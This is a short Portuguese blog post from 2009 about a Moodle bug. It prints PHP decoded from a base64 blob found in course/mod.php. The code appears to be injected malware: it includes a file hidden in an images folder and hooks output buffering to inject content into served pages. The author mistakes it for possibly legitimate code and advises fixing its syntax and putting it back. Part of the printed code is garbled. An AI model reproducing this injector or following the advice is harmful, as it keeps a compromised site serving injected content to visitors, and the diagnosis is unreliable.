segunda-feira, 16 de fevereiro de 2009

Problemas no moodle v 1.119: não é possível editar, excluir ou ocultar salas, recursos entre outros

No início do arquivo .\moodle\course\mod.php temos um código base64. Se decodificarmos esse código, teremos o seguinte código php:

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no']))
{
$GLOBALS['sh_no']=1;
if(file_exists('C:/xampplite/moodle/admin/mysql/pmd/styles/default/images/mdl_utf.php'))
{
/* Erro 1: esse include causa o problema */
//include_once('C:/xampplite/moodle/admin/mysql/pmd/styles/default/images/mdl_utf.php');

if(function_exists('gml')&&!function_exists('dgobh'))
{
if(!function_exists('gzdecode'))
{
function gzdecode($d)
{
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4)
{
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;

}
if($f&8)
{
$h=strpos($d,chr(0),$h)+1;
}
if($f&16)
{
$h=strpos($d,chr(0),$h)+1;
}
if($f&2)
{
$h+=2;
}
$u=gzinflate(substr($d,$h));
if($u===FALSE)
{
$u=$d;
}
return $u;

}

}
function dgobh($b)
{
Header('Content-Encoding: none');
$c=gzdecode($b);

/* Erro 2: estava assim antes
if(preg_match('/\]*\>)/si','$1'.gml(),$c); }
*/
if(preg_match('/\]*\>)/si','$1'.gml(),$c)
{
}
else
{
return gml().$c;
}

}
ob_start('dgobh');

}

}

}

Não sei se esse include do Erro 1 pertence ao moodle, ou se foi alguma tentativa de invasão (talvez uma atualização mal sucedida), porém se comentarmos a linha, volta ao normal.

Em Erro2 a notação do if estava errada, corrija-a.

Após corrigir os erros você pode codificar tudo com o base64_decode e substituir o código antigo pelo novo. Eu simplesmente ranquei todo o "eval(base64_decod(..." e coloquei esse código php que citei.

Nenhum comentário: